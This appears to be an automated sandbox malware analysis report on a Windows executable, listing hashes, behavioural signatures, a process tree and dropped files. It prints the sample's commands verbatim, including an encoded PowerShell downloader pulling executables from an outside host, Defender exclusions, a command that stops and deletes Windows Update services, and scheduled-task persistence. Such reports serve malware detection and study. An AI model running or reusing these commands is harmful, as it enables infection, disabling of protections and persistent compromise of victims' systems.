Analysis
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max time kernel
150s -
max time network
34s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
28/01/2023, 19:11
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20220812-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
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SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 676 created 1256 676 SmartDefRun.exe 16 PID 676 created 1256 676 SmartDefRun.exe 16 PID 676 created 1256 676 SmartDefRun.exe 16 PID 676 created 1256 676 SmartDefRun.exe 16 PID 1584 created 420 1584 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 292 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 5 IoCs
pid Process 1708 C4Loader.exe 1268 new2.exe 1048 SysApp.exe 676 SmartDefRun.exe 1924 fodhelper.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 6 IoCs
pid Process 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1792 set thread context of 832 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 676 set thread context of 1980 676 SmartDefRun.exe 55 PID 1584 set thread context of 108 1584 powershell.EXE 61 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 576 sc.exe 832 sc.exe 1924 sc.exe 1704 sc.exe 796 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 764 1792 WerFault.exe 27 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 944 schtasks.exe 1800 schtasks.exe 576 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80d3e0cc5433d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe 292 powershell.exe 1048 SysApp.exe 1048 SysApp.exe 1048 SysApp.exe 1048 SysApp.exe 1048 SysApp.exe 676 SmartDefRun.exe 676 SmartDefRun.exe 1316 powershell.exe 676 SmartDefRun.exe 676 SmartDefRun.exe 676 SmartDefRun.exe 676 SmartDefRun.exe 1484 powershell.exe 676 SmartDefRun.exe 676 SmartDefRun.exe 1584 powershell.EXE 1680 powershell.EXE 1584 powershell.EXE 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe 108 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeDebugPrivilege 292 powershell.exe Token: SeDebugPrivilege 1316 powershell.exe Token: SeDebugPrivilege 1484 powershell.exe Token: SeDebugPrivilege 1584 powershell.EXE Token: SeDebugPrivilege 1680 powershell.EXE Token: SeDebugPrivilege 1584 powershell.EXE Token: SeDebugPrivilege 108 dllhost.exe Token: SeShutdownPrivilege 1256 Explorer.EXE Token: SeShutdownPrivilege 1256 Explorer.EXE Token: SeShutdownPrivilege 1256 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1792 wrote to memory of 832 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1792 wrote to memory of 832 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1792 wrote to memory of 832 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1792 wrote to memory of 832 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1792 wrote to memory of 832 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1792 wrote to memory of 832 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1792 wrote to memory of 764 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1792 wrote to memory of 764 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1792 wrote to memory of 764 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1792 wrote to memory of 764 1792 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 832 wrote to memory of 292 832 vbc.exe 31 PID 832 wrote to memory of 292 832 vbc.exe 31 PID 832 wrote to memory of 292 832 vbc.exe 31 PID 832 wrote to memory of 292 832 vbc.exe 31 PID 292 wrote to memory of 1708 292 powershell.exe 33 PID 292 wrote to memory of 1708 292 powershell.exe 33 PID 292 wrote to memory of 1708 292 powershell.exe 33 PID 292 wrote to memory of 1708 292 powershell.exe 33 PID 292 wrote to memory of 1268 292 powershell.exe 34 PID 292 wrote to memory of 1268 292 powershell.exe 34 PID 292 wrote to memory of 1268 292 powershell.exe 34 PID 292 wrote to memory of 1268 292 powershell.exe 34 PID 292 wrote to memory of 1048 292 powershell.exe 36 PID 292 wrote to memory of 1048 292 powershell.exe 36 PID 292 wrote to memory of 1048 292 powershell.exe 36 PID 292 wrote to memory of 1048 292 powershell.exe 36 PID 292 wrote to memory of 676 292 powershell.exe 37 PID 292 wrote to memory of 676 292 powershell.exe 37 PID 292 wrote to memory of 676 292 powershell.exe 37 PID 292 wrote to memory of 676 292 powershell.exe 37 PID 1096 wrote to memory of 576 1096 cmd.exe 44 PID 1096 wrote to memory of 576 1096 cmd.exe 44 PID 1096 wrote to memory of 576 1096 cmd.exe 44 PID 1096 wrote to memory of 832 1096 cmd.exe 45 PID 1096 wrote to memory of 832 1096 cmd.exe 45 PID 1096 wrote to memory of 832 1096 cmd.exe 45 PID 1096 wrote to memory of 1924 1096 cmd.exe 46 PID 1096 wrote to memory of 1924 1096 cmd.exe 46 PID 1096 wrote to memory of 1924 1096 cmd.exe 46 PID 1096 wrote to memory of 1704 1096 cmd.exe 47 PID 1096 wrote to memory of 1704 1096 cmd.exe 47 PID 1096 wrote to memory of 1704 1096 cmd.exe 47 PID 1096 wrote to memory of 796 1096 cmd.exe 48 PID 1096 wrote to memory of 796 1096 cmd.exe 48 PID 1096 wrote to memory of 796 1096 cmd.exe 48 PID 1096 wrote to memory of 1936 1096 cmd.exe 49 PID 1096 wrote to memory of 1936 1096 cmd.exe 49 PID 1096 wrote to memory of 1936 1096 cmd.exe 49 PID 1096 wrote to memory of 1184 1096 cmd.exe 50 PID 1096 wrote to memory of 1184 1096 cmd.exe 50 PID 1096 wrote to memory of 1184 1096 cmd.exe 50 PID 1096 wrote to memory of 1684 1096 cmd.exe 51 PID 1096 wrote to memory of 1684 1096 cmd.exe 51 PID 1096 wrote to memory of 1684 1096 cmd.exe 51 PID 1096 wrote to memory of 1624 1096 cmd.exe 52 PID 1096 wrote to memory of 1624 1096 cmd.exe 52 PID 1096 wrote to memory of 1624 1096 cmd.exe 52 PID 1096 wrote to memory of 1736 1096 cmd.exe 53 PID 1096 wrote to memory of 1736 1096 cmd.exe 53 PID 1096 wrote to memory of 1736 1096 cmd.exe 53 PID 1484 wrote to memory of 944 1484 powershell.exe 54 PID 1484 wrote to memory of 944 1484 powershell.exe 54 PID 1484 wrote to memory of 944 1484 powershell.exe 54 PID 676 wrote to memory of 1980 676 SmartDefRun.exe 55
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:484
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:664
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1836
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1660
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1120
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:868 -
C:\Windows\system32\taskeng.exetaskeng.exe {562226B3-D647-4EA0-A4F3-C041BFFF36B2} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:2024
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+'T'+'WA'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+''+'e'+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+''+[Char](101)+''+[Char](114)+'s'+'t'+''+'a'+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1584
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C:\Windows\system32\taskeng.exetaskeng.exe {47688BCE-F7EE-42CA-98C4-E792EA811ED0} S-1-5-21-3385717845-2518323428-350143044-1000:SABDUHNY\Admin:Interactive:[1]3⤵PID:292
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:1924 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"5⤵
- Creates scheduled task(s)
PID:576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:836
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:584
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{42c00469-4ef9-4d4a-9701-568ef837afa9}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:108
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:2008
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1256 -
C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1708
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
PID:1268
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1048 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1800
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:676
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1792 -s 483⤵
- Program crash
PID:764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1316
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:576
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:832
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1924
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1704
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:796
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1936
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1184
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1684
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1624
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1736
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:944
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1980
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵PID:1188
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:492
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-868585925-1729289589-2038706777-872201068-88467612910387035072018789241994729253"1⤵PID:1352
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
